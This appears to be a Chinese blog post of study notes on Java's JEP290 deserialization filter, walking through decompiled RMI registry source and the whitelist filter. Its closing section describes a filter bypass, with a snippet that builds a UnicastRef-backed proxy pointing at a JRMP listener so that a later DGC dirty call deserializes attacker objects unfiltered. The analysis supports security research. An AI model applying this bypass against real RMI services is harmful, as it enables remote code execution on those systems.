JEP290学习

最近忙着搬砖 抽空学习以下jep290 

记录学习JEP290学习过程

什么是JEP290 

jep290用于限制被反序列化的类,包含以下几种机制

    提供一个限制反序列化类的机制,白名单或者黑名单。

    限制反序列化的深度和复杂度。

    为RMI远程调用对象提供了一个验证类的机制。

    定义一个可配置的过滤机制,比如可以通过配置properties文件的形式来定义过滤器。

从注册流程开始看

LocateRegistry.createRegistry(PORT);
JEP290学习
JEP290学习

首先先创建一个tcpendpoint并传给liveref对应的属性

JEP290学习

这里把liveref传入到unicastserverref了 还可以注意到有一个

RegistryImpl::registryFilter,跟入跟入

JEP290学习

liveref传给父类的ref 另一个设置到了filter

filter的代码如下

    private static Status registryFilter(FilterInfo var0) {
        if (registryFilter != null) {
            Status var1 = registryFilter.checkInput(var0);
            if (var1 != Status.UNDECIDED) {
                return var1;
            }
        }

        if (var0.depth() > 20L) {
            return Status.REJECTED;
        } else {
            Class var2 = var0.serialClass();
            if (var2 != null) {
                if (!var2.isArray()) {
                    return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
                } else {
                    return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
                }
            } else {
                return Status.UNDECIDED;
            }
        }
    }

根据代码可以看出是一个白名单校验,允许类型如下

String
Number
Remote
Proxy
Unicastref
RmiClientSocket
RmiServerSocket
UID
ActivationID

设置完UnicastServerRef后跟入setup

JEP290学习

在设置完ref后会对Unicastserverref调用exportobject方法

  public Remote exportObject(Remote var1, Object var2, boolean var3) throws RemoteException {
        Class var4 = var1.getClass();

        Remote var5;
        try {
            var5 = Util.createProxy(var4, this.getClientRef(), this.forceStubUse);
        } catch (IllegalArgumentException var7) {
            throw new ExportException("remote object implements illegal remote interface", var7);
        }

        if (var5 instanceof RemoteStub) {
            this.setSkeleton(var1);
        }

        Target var6 = new Target(var1, this, var5, this.ref.getObjID(), var3);
        this.ref.exportObject(var6);
        this.hashToMethod_Map = (Map)hashToMethod_Maps.get(var4);
        return var5;
    }

在第六行会根据前面的TCPendpoint 创建代理对象Registryimpl_stub,12行创建一个Registryimpl_skel

然后在16行开始监听

 public void exportObject(Target var1) throws RemoteException {
        synchronized(this) {
            this.listen();
            ++this.exportCount;
        }

        boolean var2 = false;
        boolean var12 = false;

        try {
            var12 = true;
            super.exportObject(var1);
            var2 = true;
            var12 = false;
        } finally {
            if (var12) {
                if (!var2) {
                    synchronized(this) {
                        this.decrementExportCount();
                    }
                }

            }
        }

        if (!var2) {
            synchronized(this) {
                this.decrementExportCount();
            }
        }

    }
private void listen() throws RemoteException {
        assert Thread.holdsLock(this);

        TCPEndpoint var1 = this.getEndpoint();
        int var2 = var1.getPort();
        if (this.server == null) {
            if (tcpLog.isLoggable(Log.BRIEF)) {
                tcpLog.log(Log.BRIEF, "(port " + var2 + ") create server socket");
            }

            try {
                this.server = var1.newServerSocket();
                Thread var3 = (Thread)AccessController.doPrivileged(new NewThreadAction(new TCPTransport.AcceptLoop(this.server), "TCP Accept-" + var2, true));
                var3.start();

然后看bind

  public static void rebind(String name, Remote obj)
        throws RemoteException, java.net.MalformedURLException
{
        ParsedNamingURL parsed = parseURL(name);
        Registry registry = getRegistry(parsed); //返回registry_stub

        if (obj == null)
            throw new NullPointerException("cannot bind to null");

        registry.rebind(parsed.name, obj); //调用registry_stub.rebind
    }
public void rebind(String var1, Remote var2) throws AccessException, RemoteException {
        try {
            RemoteCall var3 = this.ref.newCall(this, operations, 3, 4905912898345647071L);

            try {
                ObjectOutput var4 = var3.getOutputStream();
                var4.writeObject(var1);
                var4.writeObject(var2);
            } catch (IOException var5) {
                throw new MarshalException("error marshalling arguments", var5);
            }

            this.ref.invoke(var3); //跟到这
            this.ref.done(var3);
        } catch (RuntimeException var6) {
            throw var6;
        } catch (RemoteException var7) {
            throw var7;
        } catch (Exception var8) {
            throw new UnexpectedException("undeclared checked exception", var8);
        }
    }
public void invoke(RemoteCall var1) throws Exception {
        try {
            clientRefLog.log(Log.VERBOSE, "execute call");
            var1.executeCall();
        } catch (RemoteException var3) {
            clientRefLog.log(Log.BRIEF, "exception: ", var3);
            this.free(var1, false);
            throw var3;
        } catch (Error var4) {
            clientRefLog.log(Log.BRIEF, "error: ", var4);
            this.free(var1, false);
            throw var4;
        } catch (RuntimeException var5) {
            clientRefLog.log(Log.BRIEF, "exception: ", var5);
            this.free(var1, false);
            throw var5;
        } catch (Exception var6) {
            clientRefLog.log(Log.BRIEF, "exception: ", var6);
            this.free(var1, true);
            throw var6;
        }
    }

调用executecall后反序列化最终会调用到unicastServerRef的olddispatch

JEP290学习
JEP290学习

在下面的unmarshalCustomCallData方法就设置了过滤器

可以注意到 上面的过滤器默认是在registryimpl里面设置的 jep290除了rmi之外默认是不启用 需要手工设置过滤器的 因此就有了下面的bypass思路

bypass JEP290

         ObjID id = new ObjID(new Random().nextInt());
            TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); // JRMPListener's port is 3333
            UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
            RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
            Registry proxy = (Registry) Proxy.newProxyInstance(RMIServer.class.getClassLoader(), new Class[] {
                    Registry.class
            }, obj);


RemoteObjectInvocationHandler的父类重写了readObject

private void readObject(java.io.ObjectInputStream in)
        throws java.io.IOException, java.lang.ClassNotFoundException
    {
        String refClassName = in.readUTF();
        if (refClassName == null || refClassName.length() == 0) {
            /*
             * No reference class name specified, so construct
             * remote reference from its serialized form.
             */
            ref = (RemoteRef) in.readObject(); //这里是还原UnicastRef对象
        } else {
            /*
             * Built-in reference class specified, so delegate to
             * internal reference class to initialize its fields from
             * its external form.
             */
            String internalRefClassName =
                RemoteRef.packagePrefix + "." + refClassName;
            Class<?> refClass = Class.forName(internalRefClassName);
            try {
                ref = (RemoteRef) refClass.newInstance();

                /*
                 * If this step fails, assume we found an internal
                 * class that is not meant to be a serializable ref
                 * type.
                 */
            } catch (InstantiationException e) {
                throw new ClassNotFoundException(internalRefClassName, e);
            } catch (IllegalAccessException e) {
                throw new ClassNotFoundException(internalRefClassName, e);
            } catch (ClassCastException e) {
                throw new ClassNotFoundException(internalRefClassName, e);
            }
            ref.readExternal(in);
        }

在末尾调用readExternal

    public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
        this.ref = LiveRef.read(var1, false);
    }
public static LiveRef read(ObjectInput var0, boolean var1) throws IOException, ClassNotFoundException {
        TCPEndpoint var2;
        if (var1) {
            var2 = TCPEndpoint.read(var0);
        } else {
            var2 = TCPEndpoint.readHostPortFormat(var0);
        }

        ObjID var3 = ObjID.read(var0);
        boolean var4 = var0.readBoolean();
        LiveRef var5 = new LiveRef(var3, var2, false); //还原后
        if (var0 instanceof ConnectionInputStream) {
            ConnectionInputStream var6 = (ConnectionInputStream)var0;
            var6.saveRef(var5);
            if (var4) {
                var6.setAckNeeded();
            }
        } else {
            DGCClient.registerRefs(var2, Arrays.asList(var5)); //注册
        }

        return var5;
    }

会走到DGCClient.registerRefs(var2, Arrays.asList(var5))

   static void registerRefs(Endpoint var0, List<LiveRef> var1) {
        DGCClient.EndpointEntry var2;
        do {
            var2 = DGCClient.EndpointEntry.lookup(var0);
        } while(!var2.registerRefs(var1));

    }
public boolean registerRefs(List<LiveRef> var1) {
            assert !Thread.holdsLock(this);

            HashSet var2 = null;
            long var3;
            synchronized(this) {
                if (this.removed) {
                    return false;
                }

                LiveRef var7;
                DGCClient.EndpointEntry.RefEntry var8;
                for(Iterator var6 = var1.iterator(); var6.hasNext(); var8.addInstanceToRefSet(var7)) {
                    var7 = (LiveRef)var6.next();

                    assert var7.getEndpoint().equals(this.endpoint);

                    var8 = (DGCClient.EndpointEntry.RefEntry)this.refTable.get(var7);
                    if (var8 == null) {
                        LiveRef var9 = (LiveRef)var7.clone();
                        var8 = new DGCClient.EndpointEntry.RefEntry(var9);
                        this.refTable.put(var9, var8);
                        if (var2 == null) {
                            var2 = new HashSet(5);
                        }

                        var2.add(var8);
                    }
                }

                if (var2 == null) {
                    return true;
                }

                var2.addAll(this.invalidRefs);
                this.invalidRefs.clear();
                var3 = DGCClient.getNextSequenceNum();
            }

            this.makeDirtyCall(var2, var3); //跟入这里
            return true;
        }

跟入makeDirtyCall

private void makeDirtyCall(Set<DGCClient.EndpointEntry.RefEntry> var1, long var2) {
            assert !Thread.holdsLock(this);

            ObjID[] var4;
            if (var1 != null) {
                var4 = createObjIDArray(var1);
            } else {
                var4 = DGCClient.emptyObjIDArray;
            }

            long var5 = System.currentTimeMillis();

            long var8;
            long var12;
            try {
                Lease var20 = this.dgc.dirty(var4, var2, new Lease(DGCClient.vmid, DGC

最终也会调到invoke 然后executecall,这个过程中并没有setfilter 导致后续通过jrmp接受的恶意对象可以完整通过反序列化

发表评论

登录后才能评论
联系客服
联系客服
分享本页
返回顶部